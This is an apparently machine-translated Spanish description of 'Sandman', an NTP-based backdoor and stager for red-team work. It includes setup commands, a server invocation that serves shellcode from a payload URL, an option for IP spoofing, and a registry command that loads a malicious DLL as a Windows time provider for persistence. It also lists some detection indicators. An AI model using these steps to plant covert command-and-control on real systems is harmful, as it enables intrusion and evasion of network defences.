Acerca de Sandman
Sandman es una poderosa herramienta de puerta trasera basada en NTP que puede ayudar a los investigadores a realizar tareas de equipo rojo en un sistema de red con seguridad mejorada.
Sandman se puede usar como un Stager, que usa NTP (un protocolo para la sincronización de hora/fecha de la computadora) para obtener y ejecutar código de shell arbitrario desde un servidor predefinido.
Dado que muchos defensores de la seguridad a menudo ignoran el protocolo NTP, muchos sistemas de red no detectan NTP.
Características
1. Está permitido obtener y ejecutar cualquier Payload desde el servidor controlado por el investigador;
2. Dado que el protocolo NTP generalmente está permitido en el sistema de firewall de la red, puede usarse en un sistema de red con seguridad mejorada;
3. Soporte para simular un servidor NTP legítimo a través de la tecnología de suplantación de IP;
instalación de herramientas
Primero, necesitamos clonar el código fuente del proyecto localmente usando el siguiente comando:
clon de git https://github.com/Idov31/Sandman.git
Servidor Sandman
Necesitamos instalar y configurar el entorno Python 3.9 en el lado del servidor y luego usar el archivo requirements.txt proporcionado por el proyecto y el comando pip3 para configurar los componentes dependientes requeridos por el servidor Sandman:
cd Sandman pip3 requisitos de instalación.txt
SandmanPuerta trasera
Importe el proyecto a Visual Studio y luego use USE_SHELLCODE para completar la compilación del código.
SandmanBackdoorTimeProvider
Primero, instale DllExport , luego importe el proyecto a Visual Studio y use USE_SHELLCODE para completar la compilación del código.
uso de herramientas
Usos de SandmanServer
Ejecute el siguiente comando en un dispositivo similar a Windows o Unix:
python3 sandman_server.py "Adaptador de red" "Url de carga útil" "opcional: IP para falsificar"
Entre ellos, Network Adapter es el adaptador de red que necesita ser monitoreado por el servidor, como Ethernet, eth0, etc.; Payload Url es la dirección URL que aloja Shellcode, como CobaltStrike, Meterpreter u otro Stager; para IP to Spoof, si desea realizar una suplantación de direcciones IP (simulación), puede usar esta opción;
SandmanUso de puerta trasera
Primero, debemos terminar de compilar SandmanBackdoor. En segundo lugar, dado que es un ejecutable C2 independiente y liviano, podemos ejecutarlo directamente a través de ExecuteAssembly.
Usando Sandman BackdoorTimeProvider
Para utilizar SandmanBackdoorTimeProvider, siga estos pasos:
Primero, agregue la siguiente clave de registro:
registro agregar "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Path\To\TheDll.dll"
A continuación, reinicie el servicio w32time:
sc detener w32time sc iniciar w32time
Nota: asegúrese de usar la opción x64 para compilar el código fuente de la herramienta.
Captura de pantalla de ejecución de la herramienta
Indicador de amenaza de intrusión IoC
1. La herramienta inyectará un Shellcode en RuntimeBroker;
2. La comunicación NTP utilizará un encabezado sospechoso;
3. Puede usar las reglas de YARA para detectar;
acuerdo de licencia
El desarrollo y lanzamiento de este proyecto sigue el acuerdo de licencia BSD-2-Clause .